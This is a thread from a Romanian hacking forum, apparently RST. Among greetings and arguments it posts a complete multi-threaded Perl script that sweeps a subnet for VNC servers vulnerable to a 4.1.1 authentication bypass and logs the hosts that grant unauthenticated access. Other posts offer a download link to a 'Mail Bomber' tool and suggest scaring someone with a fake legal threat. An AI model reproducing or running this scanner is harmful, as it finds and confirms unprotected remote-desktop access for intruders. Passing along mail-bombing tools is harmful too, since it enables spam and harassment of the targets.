LegioNRST

Welcome.

Bun venit.

Foloseste tag-ul Code.

http://www.youtube.com/watch?v=u6nF6_y-4RM

Nu e treaba ca vreau eu sursa si nu fac nici pe desteptul dar lumea are dreptul la informatie. Sunt sigur ca nu ai trecut pe aici si daca ai trecut nu ai citit tot pentru ca ti s-a parut mult. PS: Scanat cu NoVirusThanx si este Clean. Urmeaza sa ii fac un test.

Nici el nu stie pentru ca da copy aiurea de pe alte forumuri si nu pune nici sursa ca sa ne informam corect.

Multam. Chiar acum instalam vb-ul.

Super tare. Vreau si eu cont daca se poate.

Bun venit. Treci si pe aici

Bun venit, sedere placuta!

Trebuie sa o decriptezi.

Si pe virustotal e la fel. Pune tu alt scanner daca ai.

Uploadeaza-l pe UppIT - Free File Sharing si scaneaza-l pe Multi-Engine Antivirus Scanner - Services - NoVirusThanks.org

Lucreaza bine. E bine ca ai pus si sursa.

Bun venit!

Schimba linkul. "404 Page Not Found"

Ciudat. Acum am auzit de acel site.

Poti intelege ca pe ala il cheama DAISUKE, iar programul se numeste Deisuke's si nu este facut de un italian? Nu mai venii cu acuzatii aiurea!

Ar fii o idee si cum a spus M4T3! "gen sunteti filati, aveti 24 de ore sa aduceti telefonul si mi retrag plangerea". Incearca si asa poate se sperie si cine stie:))

Nu am copiat de pe nici un forum. Programul l-am avut de mult timp intr-o arhiva cu programe hack. Si astazi mi la cerut cineva si am zis sa postez. Nu mai fii asa sigur!

#!/usr/bin/perl # Multi-threaded scan for OpenVNC 4.11 authentication bypass. use strict; # why not? use warnings; use IO::Socket; use threads; use threads::shared; use Errno qw(EAGAIN); # Configuration variables use constant VNC_PORT => 5900; my $splits = 5; # Creates 2^N processes. my $avg_time = 5; # Tweak this to get better time estimates. our $subnet; our @results : shared; our $todo = 0; my $orig_thread = "yes"; my $start; my $end; my $time_estimate; my $elapsed = time; my $out_file; ++$|; # To watch as the results come in, in real time. $subnet = $ARGV[0] || ""; # Get subnet from command line, else ask for it. while (1) { last if $subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/; print "\nWhat subnet do you want to scan? "; chomp($subnet = <STDIN>); print "That does not look right. Enter something like 192.168.1.*\n\n"; } # Put the subnet in the form x.y.z. so we can just concatenate the hostnum. $subnet =~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/; $subnet .= "."; $out_file = "VNC_" . $subnet . "txt"; # Mostly a guesstimate $time_estimate = $avg_time * (256 / (2**$splits)); $time_estimate = int ($time_estimate / 60); $time_estimate += 4; print "\nScanning subnet ${subnet}x -- this should take approximately $time_estimate minute(s).\n"; print "[!] = Vulnerable, [*] = Safe, [.] = No response.\n\n"; CHECK: { unless ($splits >= 0 && $splits <= 8) { die "ERROR: Do not split $splits times--that makes no sense.\n"; } unless ($splits <= 5) { warn "Reduce the number of splits from $splits to 5 or less if you get memory errors.\n\n"; } } # Ugly, but this works. DivideWork() if $splits >= 1; DivideWork() if $splits >= 2; DivideWork() if $splits >= 3; DivideWork() if $splits >= 4; DivideWork() if $splits >= 5; DivideWork() if $splits >= 6; DivideWork() if $splits >= 7; DivideWork() if $splits >= 8; # Which IPs this thread scans. $start = $todo << (8 - $splits); $end = $start + (256 / (2**$splits)) - 1; foreach ($start .. $end) { Scan_VNC($_); } wait until $?; # Wait for children to finish. exit unless $orig_thread eq "yes"; # Only the original parent thread will continue. $elapsed = time - $elapsed; $elapsed /= 60; $elapsed = int $elapsed; print "\n\nFinished scanning ${subnet}x in $elapsed minute(s).\n"; SaveData(); exit; #################################### sub DivideWork { my $pid; FORK: { $todo *= 2; if ($pid = fork) { # Parent ++$todo; } elsif (defined $pid) { # Child $orig_thread = "no"; } elsif ($! == EAGAIN) { # Recoverable forking error. sleep 7; redo FORK; } else { # Unable to fork. die "Unable to fork: $!\n"; } } } sub SaveData { my $vulns = 0; open(FOUND, ">", $out_file) or die "Cannot open $out_file -- $!"; foreach my $IP (1..254) { my $record; $record = $results[$IP]; unless ($record =~ m/not vulnerable/io) { ++$vulns; print FOUND $record; } } print FOUND "\nVulnerabilites found: $vulns"; close(FOUND) or die "Cannot close $out_file -- $!"; print "Data saved to ${out_file}\n\n"; } sub Scan_VNC { # Scan for OpenVNC 4.11 authentication bypass. my $hostnum = shift; my $host = $subnet . $hostnum; my $sock; my $proto_ver; my $ignored; my $auth_type; my $sec_types; my $vnc_data; $host or die("ERROR: no host passed to Scan_VNC.\n"); # The host numbers .0 and .255 are reserved; ignore them. if ($hostnum <= 0 or $hostnum >= 255) { return; } # Format things nicely--that crazy formula just adds spaces. $results[$hostnum] = "$host"; $results[$hostnum] .= (" " x (4 - int(log($hostnum)/log(10)))) . " = "; unless ($sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => VNC_PORT, Proto => 'tcp',)) { $results[$hostnum] .= "Not vulnerable, no response.\n"; print "."; return; } # Negotiate protocol version. $sock->read($proto_ver, 12); print $sock $proto_ver; # Get supported security types and ignore them. $sock->read($sec_types, 1); $sock->read($ignored, unpack('C', $sec_types)); # Claim that we only support no authentication. print $sock "\x01"; # We should get "0000" back, indicating that they won't fall back to no authentication. $sock->read($auth_type, 4); if (unpack('I', $auth_type)) { $results[$hostnum] .= "Not vulnerable, refused to support authentication type.\n"; print "*"; close($sock); return; } # Client initialize. print $sock "\x01"; # If the server starts sending data, we're in. $sock->read($vnc_data, 4); if (unpack('I', $vnc_data)) { $results[$hostnum] .= "VULNERABLE! $proto_ver\n"; print "!"; } else { $results[$hostnum] .= "Not vulnerable, did not send data.\n"; print "*"; } close($sock); return; }

Am gasit astazi prin pc un Mail Bomber mult mai avansat decat ce am vazut pana acum si m-am gandit sa-l impartasesc cu voi. Image: Virus Scan: Multi-Engine Antivirus Scanner - Services - NoVirusThanks.org Download: http://depositfiles.com/files/7yfa12ryc

Bine ai venit!

1. Click Start 2. Click Run 3. Type in cmd and hit ok (this open a Command Prompt) 4. Type ipconfig /release and press enter 5. Click Start, Control Panel, and open Network Connections 6. Find and Right click on the active Local Area Connection and choose Properties 7. Double-click on the Internet Protocol (TCP/IP) 8. Click on Use the following IP address 9. Enter a false IP like 123.123.123.123 10. Press Tab and the Subnet Mask section will populate with default numbers 11. Hit OK twice 12. Right click the active Local Area Connection again and choose Properties 13. Double-click on the Internet Protocol (TCP/IP) 14. Choose Obtain an IP address automatically 15. Hit OK twice 16. Go to What Is My IP to see if you have a new IP address Source: http://www.whatismyip.com/faq/how-to-change-your-ip-address.asp

E bun tutorialul. Trebuie stiut cam tot ce scrie acolo.